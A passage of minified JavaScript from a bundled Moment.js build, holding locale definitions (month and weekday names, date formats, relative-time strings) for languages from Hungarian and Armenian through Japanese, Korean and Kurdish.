5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:return"[prošlu] [nedjelju] [u] LT";case 3:return"[prošlu] [srijedu] [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},2138:function(e,t,a){!function(e){"use strict";var t="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function a(e,t,a,n){var i=e;switch(a){case"s":return n||t?"néhány másodperc":"néhány másodperce";case"ss":return i+(n||t)?" másodperc":" másodperce";case"m":return"egy"+(n||t?" perc":" perce");case"mm":return i+(n||t?" perc":" perce");case"h":return"egy"+(n||t?" óra":" órája");case"hh":return i+(n||t?" óra":" órája");case"d":return"egy"+(n||t?" nap":" napja");case"dd":return i+(n||t?" nap":" napja");case"M":return"egy"+(n||t?" hónap":" hónapja");case"MM":return i+(n||t?" hónap":" hónapja");case"y":return"egy"+(n||t?" év":" éve");case"yy":return i+(n||t?" év":" éve")}return""}function n(e){return(e?"":"[múlt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,a){return e<12?!0===a?"de":"DE":!0===a?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return n.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return n.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:a,ss:a,m:a,mm:a,h:a,hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},1423:function(e,t,a){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"),standalone:"հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_")},monthsShort:"հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"),weekdays:"կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"),weekdaysShort:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),weekdaysMin:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY թ.",LLL:"D MMMM YYYY թ., HH:mm",LLLL:"dddd, D MMMM YYYY թ., HH:mm"},calendar:{sameDay:"[այսօր] LT",nextDay:"[վաղը] LT",lastDay:"[երեկ] LT",nextWeek:function(){return"dddd [օրը ժամը] LT"},lastWeek:function(){return"[անցած] dddd [օրը ժամը] LT"},sameElse:"L"},relativeTime:{future:"%s հետո",past:"%s առաջ",s:"մի քանի վայրկյան",ss:"%d վայրկյան",m:"րոպե",mm:"%d րոպե",h:"ժամ",hh:"%d ժամ",d:"օր",dd:"%d օր",M:"ամիս",MM:"%d ամիս",y:"տարի",yy:"%d տարի"},meridiemParse:/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,isPM:function(e){return/^(ցերեկվա|երեկոյան)$/.test(e)},meridiem:function(e){return e<4?"գիշերվա":e<12?"առավոտվա":e<17?"ցերեկվա":"երեկոյան"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(ին|րդ)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-ին":e+"-րդ";default:return e}},week:{dow:1,doy:7}})}(a(381))},9218:function(e,t,a){!function(e){"use strict";e.defineLocale("id",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"),weekdays:"Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"),weekdaysShort:"Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|siang|sore|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"siang"===t?e>=11?e:e+12:"sore"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,a){return e<11?"pagi":e<15?"siang":e<19?"sore":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Besok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kemarin pukul] LT",lastWeek:"dddd [lalu pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lalu",s:"beberapa detik",ss:"%d detik",m:"semenit",mm:"%d menit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:0,doy:6}})}(a(381))},135:function(e,t,a){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function a(e,a,n,i){var r=e+" ";switch(n){case"s":return a||i?"nokkrar sekúndur":"nokkrum sekúndum";case"ss":return t(e)?r+(a||i?"sekúndur":"sekúndum"):r+"sekúnda";case"m":return a?"mínúta":"mínútu";case"mm":return t(e)?r+(a||i?"mínútur":"mínútum"):a?r+"mínúta":r+"mínútu";case"hh":return t(e)?r+(a||i?"klukkustundir":"klukkustundum"):r+"klukkustund";case"d":return a?"dagur":i?"dag":"degi";case"dd":return t(e)?a?r+"dagar":r+(i?"daga":"dögum"):a?r+"dagur":r+(i?"dag":"degi");case"M":return a?"mánuður":i?"mánuð":"mánuði";case"MM":return t(e)?a?r+"mánuðir":r+(i?"mánuði":"mánuðum"):a?r+"mánuður":r+(i?"mánuð":"mánuði");case"y":return a||i?"ár":"ári";case"yy":return t(e)?r+(a||i?"ár":"árum"):r+(a||i?"ár":"ári")}}e.defineLocale("is",{months:"janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"),monthsShort:"jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"),weekdays:"sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"),weekdaysShort:"sun_mán_þri_mið_fim_fös_lau".split("_"),weekdaysMin:"Su_Má_Þr_Mi_Fi_Fö_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[í dag kl.] LT",nextDay:"[á morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[í gær kl.] LT",lastWeek:"[síðasta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s síðan",s:a,ss:a,m:a,mm:a,h:"klukkustund",hh:a,d:a,dd:a,M:a,MM:a,y:a,yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},150:function(e,t,a){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){switch(this.day()){case 0:return"[la scorsa] dddd [alle] LT";default:return"[lo scorso] dddd [alle] LT"}},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},626:function(e,t,a){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},9183:function(e,t,a){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(e,t){return"元"===t[1]?1:parseInt(t[1]||e,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(e){return"午後"===e},meridiem:function(e,t,a){return e<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(e){return e.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(e){return this.week()!==e.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(e,t){switch(t){case"y":return 1===e?"元年":e+"年";case"d":case"D":case"DDD":return e+"日";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(a(381))},4286:function(e,t,a){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,a){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d dinten",M:"sewulan",MM:"%d wulan",y:"setaun",yy:"%d taun"},week:{dow:1,doy:7}})}(a(381))},2105:function(e,t,a){!function(e){"use strict";e.defineLocale("ka",{months:"იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"),monthsShort:"იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"),weekdays:{standalone:"კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"),format:"კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"),isFormat:/(წინა|შემდეგ)/},weekdaysShort:"კვი_ორშ_სამ_ოთხ_ხუთ_პარ_შაბ".split("_"),weekdaysMin:"კვ_ორ_სა_ოთ_ხუ_პა_შა".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[დღეს] LT[-ზე]",nextDay:"[ხვალ] LT[-ზე]",lastDay:"[გუშინ] LT[-ზე]",nextWeek:"[შემდეგ] dddd LT[-ზე]",lastWeek:"[წინა] dddd LT-ზე",sameElse:"L"},relativeTime:{future:function(e){return e.replace(/(წამ|წუთ|საათ|წელ|დღ|თვ)(ი|ე)/,(function(e,t,a){return"ი"===a?t+"ში":t+a+"ში"}))},past:function(e){return/(წამი|წუთი|საათი|დღე|თვე)/.test(e)?e.replace(/(ი|ე)$/,"ის წინ"):/წელი/.test(e)?e.replace(/წელი$/,"წლის წინ"):e},s:"რამდენიმე წამი",ss:"%d წამი",m:"წუთი",mm:"%d წუთი",h:"საათი",hh:"%d საათი",d:"დღე",dd:"%d დღე",M:"თვე",MM:"%d თვე",y:"წელი",yy:"%d წელი"},dayOfMonthOrdinalParse:/0|1-ლი|მე-\d{1,2}|\d{1,2}-ე/,ordinal:function(e){return 0===e?e:1===e?e+"-ლი":e<20||e<=100&&e%20==0||e%100==0?"მე-"+e:e+"-ე"},week:{dow:1,doy:7}})}(a(381))},7772:function(e,t,a){!function(e){"use strict";var t={0:"-ші",1:"-ші",2:"-ші",3:"-ші",4:"-ші",5:"-ші",6:"-шы",7:"-ші",8:"-ші",9:"-шы",10:"-шы",20:"-шы",30:"-шы",40:"-шы",50:"-ші",60:"-шы",70:"-ші",80:"-ші",90:"-шы",100:"-ші"};e.defineLocale("kk",{months:"қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан".split("_"),monthsShort:"қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел".split("_"),weekdays:"жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі".split("_"),weekdaysShort:"жек_дүй_сей_сәр_бей_жұм_сен".split("_"),weekdaysMin:"жк_дй_сй_ср_бй_жм_сн".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Бүгін сағат] LT",nextDay:"[Ертең сағат] LT",nextWeek:"dddd [сағат] LT",lastDay:"[Кеше сағат] LT",lastWeek:"[Өткен аптаның] dddd [сағат] LT",sameElse:"L"},relativeTime:{future:"%s ішінде",past:"%s бұрын",s:"бірнеше секунд",ss:"%d секунд",m:"бір минут",mm:"%d минут",h:"бір сағат",hh:"%d сағат",d:"бір күн",dd:"%d күн",M:"бір ай",MM:"%d ай",y:"бір жыл",yy:"%d жыл"},dayOfMonthOrdinalParse:/\d{1,2}-(ші|шы)/,ordinal:function(e){var a=e%10,n=e>=100?100:null;return e+(t[e]||t[a]||t[n])},week:{dow:1,doy:7}})}(a(381))},8758:function(e,t,a){!function(e){"use strict";var t={1:"១",2:"២",3:"៣",4:"៤",5:"៥",6:"៦",7:"៧",8:"៨",9:"៩",0:"០"},a={"១":"1","២":"2","៣":"3","៤":"4","៥":"5","៦":"6","៧":"7","៨":"8","៩":"9","០":"0"};e.defineLocale("km",{months:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),monthsShort:"មករា_កុម្ភៈ_មីនា_មេសា_ឧសភា_មិថុនា_កក្កដា_សីហា_កញ្ញា_តុលា_វិច្ឆិកា_ធ្នូ".split("_"),weekdays:"អាទិត្យ_ច័ន្ទ_អង្គារ_ពុធ_ព្រហស្បតិ៍_សុក្រ_សៅរ៍".split("_"),weekdaysShort:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysMin:"អា_ច_អ_ព_ព្រ_សុ_ស".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ព្រឹក|ល្ងាច/,isPM:function(e){return"ល្ងាច"===e},meridiem:function(e,t,a){return e<12?"ព្រឹក":"ល្ងាច"},calendar:{sameDay:"[ថ្ងៃនេះ ម៉ោង] LT",nextDay:"[ស្អែក ម៉ោង] LT",nextWeek:"dddd [ម៉ោង] LT",lastDay:"[ម្សិលមិញ ម៉ោង] LT",lastWeek:"dddd [សប្តាហ៍មុន] [ម៉ោង] LT",sameElse:"L"},relativeTime:{future:"%sទៀត",past:"%sមុន",s:"ប៉ុន្មានវិនាទី",ss:"%d វិនាទី",m:"មួយនាទី",mm:"%d នាទី",h:"មួយម៉ោង",hh:"%d ម៉ោង",d:"មួយថ្ងៃ",dd:"%d ថ្ងៃ",M:"មួយខែ",MM:"%d ខែ",y:"មួយឆ្នាំ",yy:"%d ឆ្នាំ"},dayOfMonthOrdinalParse:/ទី\d{1,2}/,ordinal:"ទី%d",preparse:function(e){return e.replace(/[១២៣៤៥៦៧៨៩០]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(a(381))},9282:function(e,t,a){!function(e){"use strict";var t={1:"೧",2:"೨",3:"೩",4:"೪",5:"೫",6:"೬",7:"೭",8:"೮",9:"೯",0:"೦"},a={"೧":"1","೨":"2","೩":"3","೪":"4","೫":"5","೬":"6","೭":"7","೮":"8","೯":"9","೦":"0"};e.defineLocale("kn",{months:"ಜನವರಿ_ಫೆಬ್ರವರಿ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂಬರ್_ಅಕ್ಟೋಬರ್_ನವೆಂಬರ್_ಡಿಸೆಂಬರ್".split("_"),monthsShort:"ಜನ_ಫೆಬ್ರ_ಮಾರ್ಚ್_ಏಪ್ರಿಲ್_ಮೇ_ಜೂನ್_ಜುಲೈ_ಆಗಸ್ಟ್_ಸೆಪ್ಟೆಂ_ಅಕ್ಟೋ_ನವೆಂ_ಡಿಸೆಂ".split("_"),monthsParseExact:!0,weekdays:"ಭಾನುವಾರ_ಸೋಮವಾರ_ಮಂಗಳವಾರ_ಬುಧವಾರ_ಗುರುವಾರ_ಶುಕ್ರವಾರ_ಶನಿವಾರ".split("_"),weekdaysShort:"ಭಾನು_ಸೋಮ_ಮಂಗಳ_ಬುಧ_ಗುರು_ಶುಕ್ರ_ಶನಿ".split("_"),weekdaysMin:"ಭಾ_ಸೋ_ಮಂ_ಬು_ಗು_ಶು_ಶ".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm",LLLL:"dddd, D MMMM YYYY, A h:mm"},calendar:{sameDay:"[ಇಂದು] LT",nextDay:"[ನಾಳೆ] LT",nextWeek:"dddd, LT",lastDay:"[ನಿನ್ನೆ] LT",lastWeek:"[ಕೊನೆಯ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ನಂತರ",past:"%s ಹಿಂದೆ",s:"ಕೆಲವು ಕ್ಷಣಗಳು",ss:"%d ಸೆಕೆಂಡುಗಳು",m:"ಒಂದು ನಿಮಿಷ",mm:"%d ನಿಮಿಷ",h:"ಒಂದು ಗಂಟೆ",hh:"%d ಗಂಟೆ",d:"ಒಂದು ದಿನ",dd:"%d ದಿನ",M:"ಒಂದು ತಿಂಗಳು",MM:"%d ತಿಂಗಳು",y:"ಒಂದು ವರ್ಷ",yy:"%d ವರ್ಷ"},preparse:function(e){return e.replace(/[೧೨೩೪೫೬೭೮೯೦]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ರಾತ್ರಿ|ಬೆಳಿಗ್ಗೆ|ಮಧ್ಯಾಹ್ನ|ಸಂಜೆ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ರಾತ್ರಿ"===t?e<4?e:e+12:"ಬೆಳಿಗ್ಗೆ"===t?e:"ಮಧ್ಯಾಹ್ನ"===t?e>=10?e:e+12:"ಸಂಜೆ"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"ರಾತ್ರಿ":e<10?"ಬೆಳಿಗ್ಗೆ":e<17?"ಮಧ್ಯಾಹ್ನ":e<20?"ಸಂಜೆ":"ರಾತ್ರಿ"},dayOfMonthOrdinalParse:/\d{1,2}(ನೇ)/,ordinal:function(e){return e+"ನೇ"},week:{dow:0,doy:6}})}(a(381))},3730:function(e,t,a){!function(e){"use strict";e.defineLocale("ko",{months:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),monthsShort:"1월_2월_3월_4월_5월_6월_7월_8월_9월_10월_11월_12월".split("_"),weekdays:"일요일_월요일_화요일_수요일_목요일_금요일_토요일".split("_"),weekdaysShort:"일_월_화_수_목_금_토".split("_"),weekdaysMin:"일_월_화_수_목_금_토".split("_"),longDateFormat:{LT:"A h:mm",LTS:"A h:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY년 MMMM D일",LLL:"YYYY년 MMMM D일 A h:mm",LLLL:"YYYY년 MMMM D일 dddd A h:mm",l:"YYYY.MM.DD.",ll:"YYYY년 MMMM D일",lll:"YYYY년 MMMM D일 A h:mm",llll:"YYYY년 MMMM D일 dddd A h:mm"},calendar:{sameDay:"오늘 LT",nextDay:"내일 LT",nextWeek:"dddd LT",lastDay:"어제 LT",lastWeek:"지난주 dddd LT",sameElse:"L"},relativeTime:{future:"%s 후",past:"%s 전",s:"몇 초",ss:"%d초",m:"1분",mm:"%d분",h:"한 시간",hh:"%d시간",d:"하루",dd:"%d일",M:"한 달",MM:"%d달",y:"일 년",yy:"%d년"},dayOfMonthOrdinalParse:/\d{1,2}(일|월|주)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"일";case"M":return e+"월";case"w":case"W":return e+"주";default:return e}},meridiemParse:/오전|오후/,isPM:function(e){return"오후"===e},meridiem:function(e,t,a){return e<12?"오전":"오후"}})}(a(381))},1408:function(e,t,a){!function(e){"use strict";var t={1:"١",2:"٢",3:"٣",4:"٤",5:"٥",6:"٦",7:"٧",8:"٨",9:"٩",0:"٠"},a={"١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","٠":"0"},n=["کانونی دووەم","شوبات","ئازار","نیسان","ئایار","حوزەیران","تەمموز","ئاب","ئەیلوول","تشرینی یەكەم","تشرینی دووەم","كانونی یەکەم"];e.defineLocale("ku",{months:n,monthsShort:n,weekdays:"یه‌كشه‌ممه‌_دووشه‌ممه‌_سێشه‌ممه‌_چوارشه‌ممه‌_پێنجشه‌ممه‌_هه‌ینی_شه‌ممه‌".split("_"),weekdaysShort:"یه‌كشه‌م_دووشه‌م_سێشه‌م_چوارشه‌م_پێنجشه‌م_هه‌ینی_شه‌ممه‌".split("_"),weekdaysMin:"ی_د_س_چ_پ_ه_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/ئێواره‌|به‌یانی/,isPM:function(e){return/ئێواره‌/.test(e)},meridiem:function(e,t,a){return e<12?"به‌یانی":"ئێواره‌"},calendar:{sameDay:"[ئه‌مرۆ كاتژمێر] LT",nextDay:"[به‌یانی كاتژمێر] LT",nextWeek:"dddd [كاتژمێر] LT",lastDay:"[دوێنێ كاتژمێر] LT",lastWeek:"dddd [كاتژمێر] LT",sameElse:"L"},relativeTime:{future:"له‌ %s",past:"%s",s:"چه‌ند چركه‌یه‌ك",ss:"چركه‌ %d",m:"یه‌ك خوله‌ك",mm:"%d خوله‌ك",h:"یه‌ك كاتژمێر",hh:"%d كاتژمێر",d:"یه‌ك ڕۆژ",dd:"%d ڕۆژ",M:"یه‌ك مانگ",MM:"%d مانگ",y:"یه‌ك ساڵ",yy:"%d ساڵ"},preparse:function(e){return e.replace(/[١٢٣٤٥٦٧٨٩٠]/g,(function(e){return a[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},week:{dow:6,doy:12}})}(a(381))},3291:function(e,t,a){!function(e){"use strict";var 